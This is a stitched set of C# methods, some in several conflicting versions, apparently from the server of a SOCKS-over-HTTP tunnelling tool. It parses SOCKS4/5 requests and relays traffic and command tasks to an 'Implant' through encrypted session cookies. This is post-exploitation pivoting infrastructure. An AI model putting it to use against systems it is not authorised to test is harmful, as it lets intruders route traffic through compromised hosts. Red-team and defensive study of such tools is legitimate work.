public static void NotifyConnection(String target, String status) { if (ServerComms.IsVerboseOn()) { ServerComms.LogMessage($"Message has arrived back for {target}"); } if (!mapTargetIdToSocksInstance.ContainsKey(target)) { ServerComms.LogError($"Target {target} not found in Socks instance"); return; } var socksInstance = mapTargetIdToSocksInstance[target]; if (status.ToLower() == "open") { socksInstance._open = true; } else { socksInstance._open = false; } socksInstance.status = status; socksInstance.LastUpdateTime = DateTime.Now; if (socksInstance._waitOnConnect) { socksInstance.SocksTimeout.Set(); } }
void WriteResponseBackToClient(List <byte> payload) { _dataRecv += payload.Count(); if (_tc.Connected) { try { var stream = _tc.GetStream(); stream.Write(payload.ToArray(), 0, payload.Count); stream.Flush(); ServerComms.LogMessage($"Recieved payload back from Implant (size: {payload.Count} for {_targetId} writing to client"); if (ServerComms.IsVerboseOn()) { ServerComms.LogMessage($"Wrote {payload.Count} "); } if (!_tc.Connected) { ShutdownClient(); } } catch (Exception ex) { ServerComms.LogMessage($"ERROR Writing data back to {ex.Message}"); ShutdownClient(); } } else { ShutdownClient(); } }
void StartCommsWithProxyAndImplant(NetworkStream stream) { var timeoutd = false; IAsyncResult result = null; var buf = new byte[1]; try { var asyncBufferState = new AsyncBufferState() { Buffer = new Byte[HEADERLIMIT], Stream = stream, RecvdData = new AutoResetEvent(false) }; var dataRecvd = asyncBufferState.RecvdData; var ctr = 0; while (!ShutdownRecieved) { try { if (ShutdownRecieved) { return; } //Use peek to try and force an exception if the connection has closed _tc.Client.Receive(buf, SocketFlags.Peek); if (stream.CanRead && stream.DataAvailable) { result = stream.BeginRead(asyncBufferState.Buffer, 0, HEADERLIMIT, ProxySocketReadCallback, asyncBufferState); timeoutd = !dataRecvd.WaitOne((int)TOTALSOCKETTIMEOUT); ctr = 0; } else { TimeoutEvent.WaitOne(50); } } catch (Exception ex) { ServerComms.LogError($"Connection to {_targetHost}:{_targetPort} has dropped: {ex.Message}"); ShutdownClient(); return; } if (ctr++ >= ((int)TOTALSOCKETTIMEOUT / 100)) { stream.Close(); //Time out trying to read may as well shutdown the socket ServerComms.LogError($"Connection closed to {_targetHost}:{_targetPort} after ({TOTALSOCKETTIMEOUT / 1000}s) idle. {_targetId}"); ShutdownClient(); return; } } } catch (Exception ex) { ServerComms.LogError($"Connection to {_targetHost}:{_targetPort} has dropped: {ex.Message}"); ShutdownClient(); } }
public static bool ReturnDataCallback(String target, List <byte> payload) { if (!mapTargetIdToSocksInstance.ContainsKey(target)) { ServerComms.LogError($"Target {target} not found in Socks instance"); return(false); } var socksInstance = mapTargetIdToSocksInstance[target]; socksInstance.WriteResponseBackToClient(payload); return(true); }
void CreateImplantSocksRequest() { ServerComms.LogMessage($"SOCKS Request to open {_targetHost}:{_targetPort}"); status = "opening"; LastUpdateTime = DateTime.Now; _targetId = SocketComms.CreateNewConnectionTarget(_targetHost, _targetPort); var thisptr = this; if (null == thisptr) { ServerComms.LogError("This pointer is NULL something wrong here"); } mapTargetIdToSocksInstance.TryAdd(_targetId, thisptr); }
void WriteResponseBackToClient(List <byte> payload) { _dataRecv += payload.Count(); ServerComms.LogMessage($"Recieved payload back from Implant (size: {payload.Count} for {_targetId} writing to client"); if (_tc.Connected) { var stream = _tc.GetStream(); stream.Write(payload.ToArray(), 0, payload.Count); stream.Flush(); StartCommsWithProxyAndImplant(stream); } else { ShutdownClient(); } }
void ProcessCommandChanelImplantMessage(List <byte> message) { var xdoc = XDocument.Parse(UTF8Encoding.UTF8.GetString(message.ToArray())); var elms = xdoc.XPathSelectElements("CommandChannel/ListenerStatus"); xdoc.XPathSelectElements("CommandChannel/ListenerStatus").ToList().ForEach(x => { var nodeStatus = x.XPathSelectElement("Status"); if (nodeStatus != null) { var sessionId = nodeStatus.Attribute("SessionID").Value; var status = nodeStatus.Value; SocksProxy.NotifyConnection(sessionId, status); ServerComms.LogMessage($"Status: connection {nodeStatus.Attribute("SessionID").Value} - {nodeStatus.Value}"); } }); }
void AcceptTcpClient(IAsyncResult iar) { var tcs = (TcpListener)iar.AsyncState; TcpClient tc = null; try { tc = tcs.EndAcceptTcpClient(iar); } catch (Exception ex) { if (_serverComms.IsVerboseOn()) { _serverComms.LogError($"Initial SOCKS Read failed for endpoint {tcs.LocalEndpoint.ToString()} {ex.Message}".Trim()); } return; } Task.Factory.StartNew(() => { try { if (ServerComms.IsVerboseOn()) { ServerComms.LogMessage($"Message arrived {tcs.LocalEndpoint.ToString()} from {tc.Client.RemoteEndPoint.ToString()}".Trim()); } (new SocksProxy() { TOTALSOCKETTIMEOUT = SocketTimeout }).ProcessRequest(tc, WaitOnConnect); } catch (Exception ex) { ServerComms.LogError($"Error occured on EndPoint {tcs.LocalEndpoint.ToString()} shutting down cause of {ex.Message}".Trim()); if (tc.Connected) { tc.Close(); } return; } }); tcs.BeginAcceptTcpClient(AcceptTcpClient, tcs); }
bool StartSocksInternal(String ipToListen, ushort localPort) { TcpListener tcs = null; try { var socksIp = ("*" == ipToListen) ? IPAddress.Any : IPAddress.Parse(ipToListen); tcs = new TcpListener(socksIp, localPort); _listeners.Add(localPort, tcs); tcs.Start(); ServerComms.LogMessage($"Socks proxy listening started on {socksIp.ToString()}:{localPort}"); } catch (Exception ex) { ServerComms.LogError($"StartSocks {ex.Message}"); return(false); } tcs.BeginAcceptTcpClient(AcceptTcpClient, tcs); return(true); }
void ShutdownClient(bool implantNotified = false) { status = (implantNotified) ? "closing (implant called close)" : "closing (SOCKS timeout)"; LastUpdateTime = DateTime.Now; _open = false; if (!ShutdownRecieved) { lock (_shutdownLocker) { if (!ShutdownRecieved) { ShutdownRecieved = true; if (null != _tc && _tc.Connected) { _tc.Close(); } if (!String.IsNullOrWhiteSpace(_targetId) && !implantNotified) { SocketComms.CloseTargetConnection(_targetId); } } } } if (mapTargetIdToSocksInstance.ContainsKey(_targetId)) { if (!mapTargetIdToSocksInstance.TryRemove(_targetId, out SocksProxy scks)) { ServerComms.LogError($"Couldn't mark {_targetId} as an invalid session"); } } if (null == TimeoutEvent) { TimeoutEvent.Close(); TimeoutEvent = null; } }
public bool StartSocks(String ipToListen, ushort localPort, IServiceController controller, ManualResetEvent cmdChannelRunning = null) { _controller = controller; var onOff = (WaitOnConnect) ? "on" : "off"; ServerComms.LogMessage($"Wait for Implant TCP Connect before SOCKS Proxy response is {onOff}"); if (null != cmdChannelRunning) { Task.Factory.StartNew(() => { ServerComms.LogMessage($"Waiting for command channel before starting SOCKS proxy"); cmdChannelRunning.WaitOne(); StartSocksInternal(ipToListen, localPort); }); } else { return(StartSocksInternal(ipToListen, localPort)); } return(true); }
byte ProcessSocks4Headers(List <byte> buffer) { if (9 > buffer.Count || 256 < buffer.Count) { ServerComms.LogError($"Socks server: buffer size {buffer.Count} is not valid, must be between 9 & 256"); return(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_REJECTED_OR_FAILED); } byte commandCode = buffer.Skip(1).Take(1).First(); BitConverter.ToUInt16(buffer.Skip(2).Take(2).ToArray(), 0); BitConverter.ToUInt16(buffer.Skip(2).Take(2).Reverse().ToArray(), 0); _targetPort = BitConverter.ToUInt16(buffer.Skip(2).Take(2).Reverse().ToArray(), 0); var dstIp = buffer.Skip(4).Take(4).ToArray(); var tailBuffer = buffer.Skip(8); var endUserIdx = tailBuffer.ToList().IndexOf(0x0) + 1; if (-1 == endUserIdx) { ServerComms.LogError($"User id is invalid rejecting connection request"); return(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_REJECTED_OR_FAILED); } var userId = UTF8Encoding.UTF8.GetString(tailBuffer.Take(endUserIdx).ToArray()); //Check if SOCKS 4a and domain name specified //If the domain name is to follow the IP will be in the format 0.0.0.x if (0 == dstIp[0] && 0 == dstIp[1] && 0 == dstIp[2] && 0 != dstIp[3]) { var endHostIdx = tailBuffer.Skip(endUserIdx).ToList().IndexOf(0x0); var arrayHost = tailBuffer.Skip(endUserIdx).Take(endHostIdx).ToArray(); if (arrayHost.Length == 0) { ServerComms.LogError($"Host name is empty rejecting connection request"); return(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_REJECTED_OR_FAILED); } var dnsHost = UTF8Encoding.UTF8.GetString(arrayHost); if (UriHostNameType.Unknown == Uri.CheckHostName(dnsHost)) { ServerComms.LogError($"Host name {dnsHost} is invalid rejecting connection request"); return(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_REJECTED_OR_FAILED); } _targetHost = dnsHost; } else { _targetHost = new IPAddress(BitConverter.ToUInt32(dstIp, 0)).ToString(); } CreateImplantSocksRequest(); SocksTimeout.WaitOne(SOCKSCONNECTIONTOOPENTIMEOUT); if (!_open) { return(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_REJECTED_OR_FAILED); } else { return(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_GRANTED); } }
List <byte> ProcessSocks5Headers(List <byte> buffer, NetworkStream stream, out bool success) { success = false; var authCount = (int)buffer.Skip(1).Take(1).First(); var authTypes = new List <byte>(); for (var i = 0; i < authCount; i++) { authTypes.Add(buffer.Skip(2 + i).Take(1).First()); } //Don't need any auth just send back 0x0 for 'NO AUTH REQUIRED' stream.WriteByte(Socks5Headers.Version); stream.WriteByte((byte)Socks5Headers.Socks5RequestAuthType.NoneRequired); stream.Flush(); var lstBuffer = readFromStream(stream); var response = new List <byte>(); if (9 > lstBuffer.Count || 260 < lstBuffer.Count) { ServerComms.LogError($"Socks server: buffer size {buffer.Count} is not valid, must be between 9 & 256"); return(SOCKS5FAILEDRESPONSE); } /*Second Packet * o VER protocol version: X'05' * o CMD * o RSV RESERVED * o ATYP address type of following address * o DST.ADDR desired destination address * o DST.PORT desired destination port in network octet order */ var cmd = (Socks5Headers.Socks5RequestCommand)lstBuffer.Skip(1).Take(1).First(); //Only connect supported at the moment if (cmd != Socks5Headers.Socks5RequestCommand.CONNECT) { ServerComms.LogError($"SOCKS5 Command Type {Enum.GetName(typeof(Socks5Headers.Socks5RequestCommand), cmd)} is not supported"); response.AddRange(SOCKS5FAILEDRESPONSE); response[1] = (byte)Socks5Headers.Socks5ResponseReplyStatus.commandNotSuppported; return(response); } IEnumerable <byte> portByts = null; var ATYP = (Socks5Headers.Socks5RequestAddressType)lstBuffer.Skip(3).Take(1).First(); switch (ATYP) { case Socks5Headers.Socks5RequestAddressType.IPV4: //IP Address var dstIp = lstBuffer.Skip(4).Take(4).ToArray(); _targetHost = new IPAddress(BitConverter.ToUInt32(dstIp, 0)).ToString(); portByts = lstBuffer.Skip(8).Take(2); _targetPort = BitConverter.ToUInt16(portByts.Reverse().ToArray(), 0); response.AddRange(SOCKS5SUCCESSRESPONSE); response.Add((byte)Socks5Headers.Socks5RequestAddressType.IPV4); response.AddRange(dstIp); response.AddRange(portByts); break; case Socks5Headers.Socks5RequestAddressType.DOMAINNAME: //Domain Name var endHostIdx = lstBuffer.Skip(4).Take(1).First(); var arrayHost = lstBuffer.Skip(5).Take(endHostIdx).ToArray(); if (arrayHost.Length == 0) { ServerComms.LogError($"Host name is empty rejecting connection request"); response.AddRange(SOCKS5FAILEDRESPONSE); response[1] = (byte)Socks5Headers.Socks5ResponseReplyStatus.hostUnreachable; response.Add((byte)Socks5Headers.Socks5RequestAddressType.DOMAINNAME); return(response); } var dnsHost = UTF8Encoding.UTF8.GetString(arrayHost); if (UriHostNameType.Unknown == Uri.CheckHostName(dnsHost)) { ServerComms.LogError($"Host name {dnsHost} is invalid rejecting connection request"); response.AddRange(SOCKS5FAILEDRESPONSE); response[1] = (byte)Socks5Headers.Socks5ResponseReplyStatus.hostUnreachable; response.Add((byte)Socks5Headers.Socks5RequestAddressType.DOMAINNAME); return(response); } _targetHost = dnsHost; portByts = lstBuffer.Skip(endHostIdx + 5).Take(2); _targetPort = BitConverter.ToUInt16(portByts.Reverse().ToArray(), 0); response.AddRange(SOCKS5SUCCESSRESPONSE); response.Add((byte)Socks5Headers.Socks5RequestAddressType.IPV4); response.AddRange(new List <byte>() { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }); /*response.Add(endHostIdx); * response.AddRange(arrayHost); * response.AddRange(portByts);*/ break; } CreateImplantSocksRequest(); SocksTimeout.WaitOne(SOCKSCONNECTIONTOOPENTIMEOUT); if (!(success = _open)) { response[1] = (byte)Socks5Headers.Socks5ResponseReplyStatus.networkUnreachable; } return(response); }
void ProxySocketReadCallback(IAsyncResult iar) { var asyncState = (AsyncBufferState)iar.AsyncState; try { var stream = asyncState.Stream; int bytesRead = stream.EndRead(iar); if (ShutdownRecieved || null == _tc) { return; } if (!_tc.Connected) { ShutdownClient(); try { if (_tc.Client != null) { ServerComms.LogError($"Connection to {_tc.Client.RemoteEndPoint.ToString()} closed"); } } catch (ObjectDisposedException) { ServerComms.LogError($"Connection to {_targetHost}:{_targetPort} closed"); } return; } if (bytesRead > 0) { var payload = new List <byte>(); payload.AddRange(asyncState.Buffer.Take(bytesRead)); while (stream.CanRead && stream.DataAvailable) { if ((bytesRead = stream.Read(asyncState.Buffer, 0, HEADERLIMIT)) > 0) { payload.AddRange(asyncState.Buffer.Take(bytesRead)); } } SocketComms.SendDataToTarget(_targetId, payload); ServerComms.LogMessage($"Client sent data (size: {payload.Count}) {_targetId} writing to Implant"); _dataSent += payload.Count; } } catch (Exception ex) { try { if (_tc.Client != null) { ServerComms.LogError($"Connection to {_tc.Client.RemoteEndPoint.ToString()} has dropped cause {ex.Message}"); } } catch (ObjectDisposedException) { ServerComms.LogError($"Connection to {_targetHost}:{_targetPort} has dropped cause {ex.Message}"); } ShutdownClient(); } finally { asyncState.RecvdData.Set(); } }
public void ProcessRequest(TcpClient tc, bool waitOnConnect = false) { _tc = tc; var stream = _tc.GetStream(); _waitOnConnect = waitOnConnect; if (!stream.CanRead) { if (tc.Client.RemoteEndPoint is IPEndPoint enp) { ServerComms.LogError($"Failed reading SOCKS Connection from {IPAddress.Parse(enp.Address.ToString())}:{enp.Port.ToString()}"); } return; } try { var bytesRead = 0; var lstBuffer = new List <byte>(); var arrayBuffer = new byte[512000]; bytesRead = stream.Read(arrayBuffer, 0, 512000); lstBuffer.AddRange(arrayBuffer.Take(bytesRead)); while (stream.CanRead && stream.DataAvailable) { bytesRead = stream.Read(arrayBuffer, 0, 512000); lstBuffer.AddRange(arrayBuffer.Take(bytesRead)); } List <byte> responsePacket = null; byte procResult = 0x0, version = 0x0; bool socks5success = false; if (lstBuffer.Count == 0) { ServerComms.LogError($"Socks server: buffer size {lstBuffer.Count} is not valid, must be between 9 & 256"); responsePacket = BuildSocks4Response(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_REJECTED_OR_FAILED); } else { version = lstBuffer[0]; if (version == 0x4) { procResult = ProcessSocks4Headers(lstBuffer.ToList()); responsePacket = BuildSocks4Response(procResult); } else if (version == 0x5) { responsePacket = ProcessSocks5Headers(lstBuffer.ToList(), stream, out socks5success); } } stream.Write(responsePacket.ToArray(), 0, responsePacket.Count); stream.Flush(); if (Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_GRANTED == procResult || socks5success) { System.Threading.Tasks.Task.Factory.StartNew(() => StartCommsWithProxyAndImplant(stream)); } else { _tc.Close(); } return; } catch { if (tc.Client.RemoteEndPoint is IPEndPoint enp) { ServerComms.LogError($"Failed reading SOCKS Connection from {IPAddress.Parse(enp.Address.ToString())}:{enp.Port.ToString()}"); } } }
public void ProcessRequest(TcpClient tc, bool waitOnConnect = false) { _tc = tc; var stream = _tc.GetStream(); var timeout = 0; var timeoutCtr = 0; bool timedOut = false; _waitOnConnect = waitOnConnect; if (!stream.CanRead) { if (ServerComms.IsVerboseOn()) { ServerComms.LogError($"Something attempted to connect but can't read from the stream"); } } while (!timedOut) { if (!stream.DataAvailable) { if (1 == timeoutCtr) { timeout += TIMEBETWEENREADS; } TimeoutEvent.WaitOne(timeout); if (timeoutCtr > (SOCKSCONNECTIONTOREADTIMEOUT / TIMEBETWEENREADS)) { //Time out trying to read may as well shutdown the socket ServerComms.LogError($"Timed out ({SOCKSCONNECTIONTOREADTIMEOUT / 1000}s) trying to read from SOCKS conection"); status = "closing (SOCKS time out)"; LastUpdateTime = DateTime.Now; return; } timeoutCtr++; } else { var bytesRead = 0; var lstBuffer = new List <byte>(); var arrayBuffer = new byte[tc.Available]; bytesRead = stream.Read(arrayBuffer, 0, tc.Available); lstBuffer.AddRange(arrayBuffer); while (bytesRead > 0 && stream.DataAvailable) { arrayBuffer = new byte[tc.Available]; bytesRead += stream.Read(arrayBuffer, 0, tc.Available); lstBuffer.AddRange(arrayBuffer); } var procResult = ProcessSocksHeaders(lstBuffer.ToList()); var responsePacket = BuildSocks4Response(procResult); stream.Write(responsePacket.ToArray(), 0, responsePacket.Count); stream.Flush(); if (Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_GRANTED == procResult) { StartCommsWithProxyAndImplant(stream); } else { _tc.Close(); } return; } } }
public void ProcessRequest(System.Net.HttpListenerContext ctx) { System.Net.Cookie sessionCookie = null; try { sessionCookie = ctx.Request.Cookies[_sessionIdName]; if (sessionCookie == null || String.IsNullOrEmpty(sessionCookie.Value)) { ctx.Response.StatusCode = 401; ctx.Response.Close(); return; } } catch (Exception ex) { ServerComms.LogMessage($"ERROR Processing session cookie {ex.Message}"); } String decryptedSessionId = null, decryptedStatus = null; try { var decr = _encryption.Decrypt(sessionCookie.Value); if (decr == null) { throw new Exception($"Can't decrypt session cookie{sessionCookie.Value}"); } var decryptedSessionStatus = UTF8Encoding.UTF8.GetString(decr.ToArray()).Split(':'); decryptedSessionId = decryptedSessionStatus[0]; decryptedStatus = decryptedSessionStatus[1]; if (String.IsNullOrWhiteSpace(decryptedSessionId)) { throw new Exception($"Session cookie decrypted to nothing or whitespace"); } } catch (Exception ex) { ServerComms.LogError($"Error occured communicating with implant {ex.Message}"); ctx.Response.StatusCode = 500; ctx.Response.Close(); return; } String response = null; List <byte> responseBytes = new List <byte>(); String uploadedPayload = null; //TO DO: Payload is currently coming up as different content types try { if ("POST" == ctx.Request.HttpMethod) { //Yeah casting ContentLength64 to an int is not idle, but we should not be uploading anywhere near 2gb+ in one request!!!!! uploadedPayload = (new StreamReader(ctx.Request.InputStream)).ReadToEnd(); } else if ("GET" == ctx.Request.HttpMethod) { var payloadCookie = ctx.Request.Cookies[PayloadCookieName]; //TO DO: Dodgy as hell. Need to make sure this can be tampered/malleable etc //This could be whenever in the request. Need to sort that out if (null != payloadCookie) { if (!String.IsNullOrWhiteSpace(payloadCookie.Value)) { uploadedPayload = payloadCookie.Value; } } } } catch (Exception ex) { ServerComms.LogMessage($"ERROR Processing payload data {decryptedSessionId} {ex.Message}"); } ConnectionDetails dtls = null; if (decryptedSessionId == _commandChannel) { try { var ready = false; Int32 ctr = 0, cmdTasks = 0; ProcessCommandChannelTime(); if (null == uploadedPayload || uploadedPayload.Count() == 0) { ServerComms.LogMessage($"Command channel sending {_commandTasks.Count()} tasks "); } else { mapSessionToConnectionDetails[_commandChannel].DataRecv += uploadedPayload.Count(); if (_commandTasks.Count() > 0) { ServerComms.LogMessage($"Command channel payload {uploadedPayload.Count()} bytes, sending {_commandTasks.Count()} tasks "); } ProcessCommandChanelImplantMessage(this._encryption.Decrypt(uploadedPayload)); } lock (_commandLocker) { cmdTasks = _commandTasks.Count(); } if (cmdTasks == 0) { while (!(ready = _cmdTaskWaitEvent.WaitOne(1000)) && ctr++ < 40) { ; } } lock (_commandLocker) { cmdTasks = _commandTasks.Count(); } if (cmdTasks > 0) { response = new XElement("Response", new XElement("Tasks", PopQueueCommandTasks())).ToString(); } else { response = BuildStandardResponse().ToString(); } _cmdTaskWaitEvent.Reset(); responseBytes.AddRange(UTF8Encoding.UTF8.GetBytes(response)); mapSessionToConnectionDetails[_commandChannel].DataSent += responseBytes.Count(); } catch (Exception ex) { ServerComms.LogMessage($"ERROR Processing command channel message {ex.Message}"); } } else { try { if (decryptedStatus == "closed") { ServerComms.LogMessage($"Close connection has been called on {decryptedSessionId}"); //Implant has called time //cleanup the data queue lock (_dataTasks) { if (_dataTasks.ContainsKey(decryptedSessionId)) { _dataTasks[decryptedSessionId].Tasks.Clear(); var wait = _dataTasks[decryptedSessionId].Wait; _dataTasks[decryptedSessionId].DisposeWait(); _dataTasks.Remove(decryptedSessionId); } } lock (_listenerLocker) { _listeners.Remove(decryptedSessionId); } //Let the socks know its over SocksProxy.ImplantCalledClose(decryptedSessionId); ctx.Response.StatusCode = 200; ctx.Response.OutputStream.Close(); return; } else if (SocksProxy.IsValidSession(decryptedSessionId)) { if (!SocksProxy.IsSessionOpen(decryptedSessionId)) { SocksProxy.NotifyConnection(decryptedSessionId, "open"); } dtls = SocksProxy.GetDetailsForTargetId(decryptedSessionId); if (null == uploadedPayload || uploadedPayload.Count() == 0) { if (ServerComms.IsVerboseOn()) { ServerComms.LogMessage($"Requesting data for connection {dtls.HostPort}:{dtls.Id}"); } } else { ServerComms.LogMessage($"[Rx] {dtls.HostPort}:{dtls.Id} {uploadedPayload.Count()} bytes "); SocksProxy.ReturnDataCallback(decryptedSessionId, this._encryption.Decrypt(uploadedPayload)); } } else { if (ServerComms.IsVerboseOn()) { ServerComms.LogMessage($"Session ID {decryptedSessionId} is not valid"); } ctx.Response.StatusCode = 404; ctx.Response.OutputStream.Close(); return; } var ctr = 0; var dataQueue = _dataTasks[decryptedSessionId]; var ready = false; while (null != dataQueue.Wait && !(ready = dataQueue.Wait.WaitOne(1000)) && ctr++ < _longpolltimeout) { ; } if (ready && dataQueue.Tasks.Count() > 0) { lock (dataQueue.PayloadLocker) { while (dataQueue.Tasks.Count != 0) { responseBytes.AddRange(dataQueue.Tasks.Dequeue()); } } dataQueue.Wait.Reset(); if (null != dtls) { ServerComms.LogMessage($"[Tx] {dtls.HostPort}:{dtls.Id} {responseBytes.Count()} bytes "); } } else if (null != dtls) { ServerComms.LogMessage($"[Tx] {dtls.HostPort}:{dtls.Id} nothing to send. TimedOut: {!ready}"); } } catch (Exception ex) { ServerComms.LogMessage($"ERROR Processing response for connection {decryptedSessionId} {ex.Message}"); } } try { ctx.Response.StatusCode = 200; var payload = EncryptPayload(responseBytes); if (null != payload && payload.Count > 0) { ctx.Response.OutputStream.Write(payload.ToArray(), 0, payload.Count()); } ctx.Response.OutputStream.Close(); } catch (Exception ex) { ServerComms.LogMessage($"ERROR Writing response back to client {ex.Message}"); } }
byte ProcessSocksHeaders(List <byte> buffer) { if (9 > buffer.Count || 256 < buffer.Count) { ServerComms.LogError($"Socks server: buffer size {buffer.Count} is not valid, must be between 9 & 256"); return(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_REJECTED_OR_FAILED); } byte version = buffer[0]; if (version == 0x4) { byte commandCode = buffer.Skip(1).Take(1).First(); BitConverter.ToUInt16(buffer.Skip(2).Take(2).ToArray(), 0); BitConverter.ToUInt16(buffer.Skip(2).Take(2).Reverse().ToArray(), 0); _targetPort = BitConverter.ToUInt16(buffer.Skip(2).Take(2).Reverse().ToArray(), 0); var dstIp = buffer.Skip(4).Take(4).ToArray(); var tailBuffer = buffer.Skip(8); var endUserIdx = tailBuffer.ToList().IndexOf(0x0) + 1; if (-1 == endUserIdx) { ServerComms.LogError($"User id is invalid rejecting connection request"); return(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_REJECTED_OR_FAILED); } var userId = UTF8Encoding.UTF8.GetString(tailBuffer.Take(endUserIdx).ToArray()); //Check if SOCKS 4a and domain name specified //If the domain name is to follow the IP will be in the format 0.0.0.x if (0 == dstIp[0] && 0 == dstIp[1] && 0 == dstIp[2] && 0 != dstIp[3]) { var endHostIdx = tailBuffer.Skip(endUserIdx).ToList().IndexOf(0x0); var arrayHost = tailBuffer.Skip(endUserIdx).Take(endHostIdx).ToArray(); if (arrayHost.Length == 0) { ServerComms.LogError($"Host name is empty rejecting connection request"); return(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_REJECTED_OR_FAILED); } var dnsHost = UTF8Encoding.UTF8.GetString(arrayHost); if (UriHostNameType.Unknown == Uri.CheckHostName(dnsHost)) { ServerComms.LogError($"Host name {dnsHost} is invalid rejecting connection request"); return(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_REJECTED_OR_FAILED); } _targetHost = dnsHost; } else { _targetHost = new IPAddress(BitConverter.ToUInt32(dstIp, 0)).ToString(); } ServerComms.LogMessage($"SOCKS Request to open {_targetHost}:{_targetPort}"); status = "opening"; LastUpdateTime = DateTime.Now; _targetId = SocketComms.CreateNewConnectionTarget(_targetHost, _targetPort); var thisptr = this; if (null == thisptr) { ServerComms.LogError("This pointer is NULL something wrong here"); } mapTargetIdToSocksInstance.Add(_targetId, thisptr); if (_waitOnConnect) { SocksTimeout.WaitOne(SOCKSCONNECTIONTOOPENTIMEOUT); if (!_open) { return(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_REJECTED_OR_FAILED); } } } else { return(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_REJECTED_OR_FAILED); } ServerComms.LogMessage($"Opened SOCKS port {_targetHost}:{_targetPort} targetid {_targetId}"); return(Socks4ClientHeader.Socks4ClientHeaderStatus.REQUEST_GRANTED); }
void ProxySocketReadCallback(IAsyncResult iar) { var asyncState = (AsyncBufferState)iar.AsyncState; var stream = asyncState.Stream; int bytesRead = 0; if (ShutdownRecieved || null == _tc) { return; } if (!_tc.Connected) { ShutdownClient(); try { if (_tc.Client != null) { ServerComms.LogError($"Connection to {_tc.Client.RemoteEndPoint.ToString()} closed"); } } catch (ObjectDisposedException) { ServerComms.LogError($"Connection to {_targetHost}:{_targetPort} closed"); } return; } try { bytesRead = stream.EndRead(iar); _dataSent += bytesRead; if (bytesRead > 0) { var payload = new List <byte>(); payload.AddRange(asyncState.Buffer.Take(bytesRead)); Array.Clear(asyncState.Buffer, 0, asyncState.Buffer.Length); while (stream.CanRead && stream.DataAvailable && (bytesRead = stream.Read(asyncState.Buffer, 0, HEADERLIMIT)) > 0) { payload.AddRange(asyncState.Buffer.Take(bytesRead)); Array.Clear(asyncState.Buffer, 0, asyncState.Buffer.Length); } //Not currently reading now so if anything comes in fair play Interlocked.Decrement(ref CurrentlyReading); ServerComms.LogMessage($"Client sent data (size: {payload.Count}) {_targetId} writing to Implant"); SocketComms.SendDataToTarget(_targetId, payload); StartCommsWithProxyAndImplant(asyncState.Stream); } else { //No bytes have been read from the connection //Try again and start the thread timeout cycle Interlocked.Decrement(ref CurrentlyReading); TimeoutEvent.WaitOne(timeout); StartCommsWithProxyAndImplant(asyncState.Stream); } } catch (Exception ex) { try { if (_tc.Client != null) { ServerComms.LogError($"Connection to {_tc.Client.RemoteEndPoint.ToString()} has dropped cause {ex.Message}"); } } catch (ObjectDisposedException) { ServerComms.LogError($"Connection to {_targetHost}:{_targetPort} has dropped cause {ex.Message}"); } ShutdownClient(); } }
void StartCommsWithProxyAndImplant(NetworkStream stream) { //Check the currently flag as we multiple threads can hit this //Interlocked uses an atomic. If there is a thread already reading just bang out here if ((Interlocked.CompareExchange(ref CurrentlyReading, 1, 0) == 1)) { return; } var timeout = 0; var timeoutCtr = 0; var wait = new AutoResetEvent(false); //Shutdown has been recieved on another thread we outta here while (!ShutdownRecieved) { if (!stream.DataAvailable) { if (1 == timeoutCtr) { timeout += TIMEBETWEENREADS; } TimeoutEvent.WaitOne(timeout); } else { if (!stream.CanRead || !_tc.Connected) { ShutdownClient(); ServerComms.LogError($"Connection to {_targetHost}:{_targetPort} has dropped before data sent"); return; } try { //Quick check here just in case.... if (ShutdownRecieved) { return; } var asyncBufferState = new AsyncBufferState() { Stream = stream, RecvdData = wait }; stream.BeginRead(asyncBufferState.Buffer, 0, HEADERLIMIT, ProxySocketReadCallback, asyncBufferState); wait.WaitOne(-1); } catch (Exception ex) { ServerComms.LogError($"Connection to {_targetHost}:{_targetPort} has dropped: {ex.Message}"); ShutdownClient(); } } if (timeoutCtr > (TOTALSOCKETTIMEOUT / TIMEBETWEENREADS)) { //Time out trying to read may as well shutdown the socket ServerComms.LogError($"Connection closed to {_targetHost}:{_targetPort} after ({TOTALSOCKETTIMEOUT / 1000}s) idle. {_targetId}"); ShutdownClient(); return; } timeoutCtr++; } }